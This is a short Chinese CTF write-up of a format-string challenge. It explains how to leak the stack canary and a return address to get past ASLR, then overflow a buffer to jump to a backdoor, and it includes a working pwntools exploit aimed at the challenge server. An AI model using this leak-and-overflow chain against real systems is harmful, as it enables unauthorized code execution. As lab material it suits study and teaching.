做到一道格式化字符串的题,记录一下做法和思路。

有后门,但是开了canary,直接打印format可以通过格式化字符串打印栈上的canary。同时开了ASLR,还需要泄露栈上某处语句的地址。

因为这个函数是被调用的,所以函数的下一条语句作为了函数返回地址。

通过索引看出canary在rbp-8的位置,根据函数调用机制确定泄露地址在rbp+8的位置

gdb调试确定0x7fffffffddc8和0x7fffffffddd8是要泄露的两个地址,用fmtarg获取两处地址的偏移

在第一次gets泄露canary和mov eax,0的地址,计算得到基址,在第二次gets时覆盖canary返回到后门
from pwn import *
context(arch='amd64', os='linux',log_level='debug')
p = remote('node4.anna.nssctf.cn',28763)
# ELFpath = './find_flag'
# p = process(ELFpath)
# gdb.attach(p)
p.recvuntil(b'Hi! What\'s your name?')
payload='%17$p %19$p'
p.sendline(payload)
p.recvuntil('Nice to meet you, ')
canary=int(p.recv(18),16)
addr=int(p.recvuntil('!\n')[1:15].decode(),16)
base=addr-0x146F
backdoor=base+0x1231
p.recvuntil('Anything else? ')
payload=b'a'*56+p64(canary)+b'a'*8+p64(backdoor)
p.sendline(payload)
p.interactive()

Comments NOTHING